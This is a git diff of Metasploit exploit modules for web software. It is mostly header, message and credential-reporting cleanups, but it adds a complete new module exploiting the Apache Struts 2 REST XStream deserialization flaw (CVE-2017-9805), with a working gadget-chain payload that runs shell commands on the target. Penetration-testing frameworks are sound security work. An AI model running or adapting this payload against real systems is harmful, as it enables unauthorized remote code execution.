index 924bb58545..73e265f4e0 100644
--- a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb
+++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -342,5 +342,4 @@ SH
 
     res
   end
-
 end
diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb
index 3eb4b93d4e..0788cc530b 100644
--- a/modules/exploits/multi/http/sflog_upload_exec.rb
+++ b/modules/exploits/multi/http/sflog_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb
index 53494d5909..fc246c486d 100644
--- a/modules/exploits/multi/http/simple_backdoors_exec.rb
+++ b/modules/exploits/multi/http/simple_backdoors_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb
index 02748b0ef5..3f70ef046c 100644
--- a/modules/exploits/multi/http/sit_file_upload.rb
+++ b/modules/exploits/multi/http/sit_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,11 +91,11 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
-      print_status("Successfully logged in as #{user}:#{pass}")
+      print_good("Successfully logged in as #{user}:#{pass}")
 
       if (res.get_cookies =~ /SiTsessionID/) and res.get_cookies.split("SiTsessionID")[-1] =~ /=(.*);/
         session = $1
-        print_status("Successfully retrieved cookie: #{session}")
+        print_good("Successfully retrieved cookie: #{session}")
         return session
       else
         fail_with(Failure::Unknown, "Error retrieving cookie!")
@@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res and res.code == 200)
-      print_status("Successfully uploaded #{newpage}")
+      print_good("Successfully Uploaded #{newpage}")
       return res
     else
       fail_with(Failure::Unknown, "Error uploading #{newpage}")
@@ -157,7 +157,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
       upload_dir = "attachments-#{$1}"
-      print_status("Successfully retrieved upload dir: #{upload_dir}")
+      print_good("Successfully retrieved upload dir: #{upload_dir}")
       return upload_dir
     else
       fail_with(Failure::Unknown, "Error retrieving the upload dir")
diff --git a/modules/exploits/multi/http/snortreport_exec.rb b/modules/exploits/multi/http/snortreport_exec.rb
index 440a302c3f..153a31f4a7 100644
--- a/modules/exploits/multi/http/snortreport_exec.rb
+++ b/modules/exploits/multi/http/snortreport_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb
index 086e9bf098..21b5096d2b 100644
--- a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb
+++ b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -138,5 +138,4 @@ out.println("Path:" + System.getProperty("server.webapp.root"));
 
     jsp
   end
-
 end
diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb
index 6dae6c0a0a..0c4b3d8e38 100644
--- a/modules/exploits/multi/http/sonicwall_gms_upload.rb
+++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
         an arbitrary payload embedded in a JSP. The module has been tested successfully on
         SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
         Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
-        successfully while testing, shell payload have been used.
+        successfully while testing, shell payload has been used.
       },
       'Author'       =>
         [
@@ -273,5 +273,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def jsp_drop_and_execute(bin_data, output_file)
     jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
   end
-
 end
diff --git a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb
index 78daedd694..2438a6edcb 100644
--- a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb
+++ b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -179,47 +179,12 @@ class MetasploitModule < Msf::Exploit::Remote
     elsif res['loginfailed']
       fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.")
     elsif res['sessionid']
-      report_cred(datastore['USERNAME'], datastore['PASSWORD'])
+      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
     end
 
     res
   end
 
-
-  # Saves a valid username/password to database.
-  #
-  # @param username [String]
-  # @param password [String]
-  # @return [void]
-  def report_cred(username, password)
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: ssl ? 'https' : 'http',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: self.fullname,
-      origin_type: :service,
-      username: username,
-      private_data: password,
-      private_type: :password
-    }.merge(service_data)
-
-    credential_core = create_credential(credential_data)
-
-    login_data = {
-      core: credential_core,
-      last_attempted_at: DateTime.now,
-      status: Metasploit::Model::Login::Status::SUCCESSFUL
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
-
   # Injects malicious SQL string to the methodDetail parameter against the target machine.
   #
   # @param method_detail [String] Malicious SQL injection string.
@@ -395,5 +360,4 @@ class MetasploitModule < Msf::Exploit::Remote
     try_set_target(os)
     do_backdoor_sqli(os, sid, uid)
   end
-
 end
diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb
index 586a43cbaa..193b9d01bd 100644
--- a/modules/exploits/multi/http/splunk_mappy_exec.rb
+++ b/modules/exploits/multi/http/splunk_mappy_exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -167,5 +166,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb
index 8d213a5cd3..b65740d4c0 100644
--- a/modules/exploits/multi/http/splunk_upload_app_exec.rb
+++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -280,7 +280,7 @@ class MetasploitModule < Msf::Exploit::Remote
       }, 30)
 
     if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
-      print_status("#{app_name} successfully uploaded")
+      print_good("#{app_name} successfully uploaded")
     else
       fail_with(Failure::Unknown, "Error uploading")
     end
diff --git a/modules/exploits/multi/http/spree_search_exec.rb b/modules/exploits/multi/http/spree_search_exec.rb
index 038804b413..7bc0d7836a 100644
--- a/modules/exploits/multi/http/spree_search_exec.rb
+++ b/modules/exploits/multi/http/spree_search_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -66,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb
index 811dd45577..7a8f50dc2c 100644
--- a/modules/exploits/multi/http/spree_searchlogic_exec.rb
+++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -69,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb
index b947089217..1b4ba5e634 100644
--- a/modules/exploits/multi/http/struts2_content_type_ognl.rb
+++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
       'Description'    => %q{
-        This module exploits a remote code execution vunlerability in Apache Struts
+        This module exploits a remote code execution vulnerability in Apache Struts
         version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
         via http Content-Type header.
 
@@ -168,7 +168,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
     send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
   end
-
 end
 
 =begin
diff --git a/modules/exploits/multi/http/struts2_rest_xstream.rb b/modules/exploits/multi/http/struts2_rest_xstream.rb
new file mode 100644
index 0000000000..d3308d6c75
--- /dev/null
+++ b/modules/exploits/multi/http/struts2_rest_xstream.rb
@@ -0,0 +1,194 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+  include Msf::Exploit::Powershell
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Apache Struts 2 REST Plugin XStream RCE',
+      'Description'    => %q{
+        Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12,
+        using the REST plugin, are vulnerable to a Java deserialization attack
+        in the XStream library.
+      },
+      'Author'         => [
+        'Man Yue Mo', # Vulnerability discovery
+        'wvu'         # Metasploit module
+      ],
+      'References'     => [
+        ['CVE', '2017-9805'],
+        ['URL', 'https://struts.apache.org/docs/s2-052.html'],
+        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
+        ['URL', 'https://github.com/mbechler/marshalsec']
+      ],
+      'DisclosureDate' => 'Sep 5 2017',
+      'License'        => MSF_LICENSE,
+      'Platform'       => ['unix', 'python', 'linux', 'win'],
+      'Arch'           => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
+      'Privileged'     => false,
+      'Targets'        => [
+        ['Unix (In-Memory)',
+          'Platform'   => 'unix',
+          'Arch'       => ARCH_CMD
+        ],
+        ['Python (In-Memory)',
+          'Platform'   => 'python',
+          'Arch'       => ARCH_PYTHON
+        ],
+=begin this stuff that doesn't work yet
+        ['PowerShell (In-Memory)',
+          'Platform'   => 'win',
+          'Arch'       => [ARCH_X86, ARCH_X64]
+        ],
+=end
+        ['Linux (Dropper)',
+          'Platform'   => 'linux',
+          'Arch'       => [ARCH_X86, ARCH_X64]
+        ],
+        ['Windows (Dropper)',
+          'Platform'   => 'win',
+          'Arch'       => [ARCH_X86, ARCH_X64]
+        ]
+      ],
+      'DefaultTarget'  => 0
+    ))
+
+    register_options([
+      Opt::RPORT(8080),
+      OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])
+    ])
+  end
+
+  def check
+    if execute_command(random_crap)
+      CheckCode::Appears
+    else
+      CheckCode::Safe
+    end
+  end
+
+  def exploit
+    case target.name
+    when /Unix/, /Python/, /PowerShell/
+      execute_command(payload.encoded)
+    else
+      execute_cmdstager
+    end
+  end
+
+  #
+  # Exploit methods
+  #
+
+  def execute_command(cmd, opts = {})
+    cmd = case target.name
+    when /Unix/, /Linux/
+      %W{/bin/sh -c #{cmd}}
+    when /Python/
+      %W{python -c #{cmd}}
+    when /PowerShell/
+      # This doesn't work yet
+      %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
+    when /Windows/
+      %W{cmd.exe /c #{cmd}}
+    end
+
+    # Encode each command argument with XML entities
+    cmd.map! { |arg| arg.encode(xml: :text) }
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri'    => target_uri.path,
+      'ctype'  => 'application/xml',
+      'data'   => xstream_payload(cmd)
+    )
+
+    check_response(res) || fail_with(Failure::UnexpectedReply, res.inspect)
+  end
+
+  # java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO
+  def xstream_payload(cmd)
+    # XXX: <spillLength> and <read> need to be removed for Windows
+    <<EOF
+<map>
+  <entry>
+    <jdk.nashorn.internal.objects.NativeString>
+      <flags>0</flags>
+      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
+        <dataHandler>
+          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
+            <is class="javax.crypto.CipherInputStream">
+              <cipher class="javax.crypto.NullCipher">
+                <initialized>false</initialized>
+                <opmode>0</opmode>
+                <serviceIterator class="javax.imageio.spi.FilterIterator">
+                  <iter class="javax.imageio.spi.FilterIterator">
+                    <iter class="java.util.Collections$EmptyIterator"/>
+                    <next class="java.lang.ProcessBuilder">
+                      <command>
+                        <string>#{cmd.join('</string><string>')}</string>
+                      </command>
+                      <redirectErrorStream>false</redirectErrorStream>
+                    </next>
+                  </iter>
+                  <filter class="javax.imageio.ImageIO$ContainsFilter">
+                    <method>
+                      <class>java.lang.ProcessBuilder</class>
+                      <name>start</name>
+                      <parameter-types/>
+                    </method>
+                    <name>#{random_crap}</name>
+                  </filter>
+                  <next class="string">#{random_crap}</next>
+                </serviceIterator>
+                <lock/>
+              </cipher>
+              <input class="java.lang.ProcessBuilder$NullInputStream"/>
+              <ibuffer></ibuffer>
+              <done>false</done>
+              <ostart>0</ostart>
+              <ofinish>0</ofinish>
+              <closed>false</closed>
+            </is>
+            <consumed>false</consumed>
+          </dataSource>
+          <transferFlavors/>
+        </dataHandler>
+        <dataLen>0</dataLen>
+      </value>
+    </jdk.nashorn.internal.objects.NativeString>
+    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
+  </entry>
+  <entry>
+    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
+    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
+  </entry>
+</map>
+EOF
+  end
+
+  #
+  # Utility methods
+  #
+
+  def check_response(res)
+    res && res.code == 500 && res.body.include?(error_string)
+  end
+
+  def error_string
+    'java.lang.String cannot be cast to java.security.Provider$Service'
+  end
+
+  def random_crap
+    Rex::Text.rand_text_alphanumeric(rand(42) + 1)
+  end
+
+end
diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb
index 20c3966b9d..25cc3b742e 100644
--- a/modules/exploits/multi/http/struts_code_exec.rb
+++ b/modules/exploits/multi/http/struts_code_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb
index efd6d31d03..802914f704 100644
--- a/modules/exploits/multi/http/struts_code_exec_classloader.rb
+++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -299,6 +299,5 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     modify_class_loader(properties)
   end
-
 end
 
diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
index 40a94f668a..836cccc6ce 100644
--- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
+++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb
index 168682f59f..e9e6dfa0a0 100644
--- a/modules/exploits/multi/http/struts_code_exec_parameters.rb
+++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -190,5 +190,4 @@ class MetasploitModule < Msf::Exploit::Remote
       return Exploit::CheckCode::Appears
     end
   end
-
 end
diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb
index 06434d29a6..5fc0c71734 100644
--- a/modules/exploits/multi/http/struts_default_action_mapper.rb
+++ b/modules/exploits/multi/http/struts_default_action_mapper.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb
index f62677be5a..3d42ec0c04 100644
--- a/modules/exploits/multi/http/struts_dev_mode.rb
+++ b/modules/exploits/multi/http/struts_dev_mode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/struts_dmi_exec.rb b/modules/exploits/multi/http/struts_dmi_exec.rb
index 5b529b558e..a8a6f5b432 100644
--- a/modules/exploits/multi/http/struts_dmi_exec.rb
+++ b/modules/exploits/multi/http/struts_dmi_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -197,5 +197,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/struts_dmi_rest_exec.rb b/modules/exploits/multi/http/struts_dmi_rest_exec.rb
index 7ad7b4ead4..2cd885a6ec 100644
--- a/modules/exploits/multi/http/struts_dmi_rest_exec.rb
+++ b/modules/exploits/multi/http/struts_dmi_rest_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -198,5 +198,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb
index af8b640460..b27d516504 100644
--- a/modules/exploits/multi/http/struts_include_params.rb
+++ b/modules/exploits/multi/http/struts_include_params.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -192,5 +192,4 @@ class MetasploitModule < Msf::Exploit::Remote
       return Exploit::CheckCode::Vulnerable
     end
   end
-
 end
diff --git a/modules/exploits/multi/http/stunshell_eval.rb b/modules/exploits/multi/http/stunshell_eval.rb
index b64eef8e45..e6e0512207 100644
--- a/modules/exploits/multi/http/stunshell_eval.rb
+++ b/modules/exploits/multi/http/stunshell_eval.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb
index a66ac1b3c8..189946311b 100644
--- a/modules/exploits/multi/http/stunshell_exec.rb
+++ b/modules/exploits/multi/http/stunshell_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb
index 014f213472..0b814172bf 100644
--- a/modules/exploits/multi/http/sun_jsws_dav_options.rb
+++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -206,5 +206,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb
index 46f06a6e49..c08110e561 100644
--- a/modules/exploits/multi/http/sysaid_auth_file_upload.rb
+++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -123,7 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/
       if is_exploit
-        print_status("Payload uploaded successfully")
+        print_good("Payload uploaded successfully")
       end
 
       return $1
@@ -231,7 +231,7 @@ class MetasploitModule < Msf::Exploit::Remote
     unless @cookie
       fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with the provided credentials.")
     end
-    print_status("Authentication was successful with the provided credentials.")
+    print_good("Authentication was successful with the provided credentials.")
 
     @my_target = pick_target
     if @my_target.nil?
diff --git a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb
index 2f4ba83825..edb0f2335c 100644
--- a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb
+++ b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
         This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
         The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
-        file uploads and handles zip file contents in a insecure way. By combining both weaknesses,
+        file uploads and handles zip file contents in an insecure way. By combining both weaknesses,
         a remote attacker can accomplish remote code execution. Note that this will only work if the
         target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection
         against null byte injection in file names. This module has been tested successfully on version
@@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # The server either returns a 200 OK when the upload is successful.
     if res && res.code == 200
-      print_status("Upload appears to have been successful, waiting for deployment")
+      print_good("Upload appears to have been successful, waiting for deployment")
     else
       fail_with(Failure::Unknown, "#{peer} - WAR upload failed")
     end
diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb
index 5b01295f1f..f7dae1e7ff 100644
--- a/modules/exploits/multi/http/testlink_upload_exec.rb
+++ b/modules/exploits/multi/http/testlink_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Registering user (#{user})")
     res   = register(base, user, user)
     if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
-      print_status("Registered successfully")
+      print_good("Registered successfully")
     else
       print_error("Registration failed")
       return
@@ -169,7 +169,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Authenticating user (#{user})")
     res   = login(base, user, user)
     if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
-      print_status("Authenticated successfully")
+      print_good("Authenticated successfully")
     else
       print_error("Authentication failed")
       return
@@ -186,7 +186,7 @@ class MetasploitModule < Msf::Exploit::Remote
         'cookie' => datastore['COOKIE'],
       })
       if res and res.code == 200
-        print_status("Setting id and table name successfully")
+        print_good("Setting id and table name successfully")
       else
         print_error("Setting id and table name failed")
         return
diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb
index 430aab64bc..313b38e57d 100644
--- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb
+++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -116,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote
       return CheckCode::Unknown
     end
 
-    report_tomcat_credential
+    store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
 
     vprint_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
     return CheckCode::Appears
@@ -199,7 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
     end
 
-    report_tomcat_credential
+    store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
 
     #
     # EXECUTE
@@ -297,35 +297,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }
   end
 
-  def report_tomcat_credential
-    service_data = {
-        address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
-        port: datastore['RPORT'],
-        service_name: (ssl ? "https" : "http"),
-        protocol: 'tcp',
-        workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-        origin_type: :service,
-        module_fullname: self.fullname,
-        private_type: :password,
-        private_data: datastore['HttpPassword'],
-        username: datastore['HttpUsername']
-    }
-
-    credential_data.merge!(service_data)
-
-    credential_core = create_credential(credential_data)
-
-    login_data = {
-        access_level: 'Admin',
-        core: credential_core,
-        last_attempted_at: DateTime.now,
-        status: Metasploit::Model::Login::Status::SUCCESSFUL
-    }
-    login_data.merge!(service_data)
-    create_credential_login(login_data)
+  def service_details
+    super.merge({ access_level: 'Admin' })
   end
-
 end
diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb
index cff1580be3..101c4cb81b 100644
--- a/modules/exploits/multi/http/tomcat_mgr_upload.rb
+++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     vprint_status("Tomcat Manager found running on #{plat} platform and #{arch} architecture")
 
-    report_tomcat_credential
+    store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
 
     return CheckCode::Appears
   end
@@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote
     #
     print_status("Uploading and deploying #{@app_base}...")
     if upload_payload
-      report_tomcat_credential
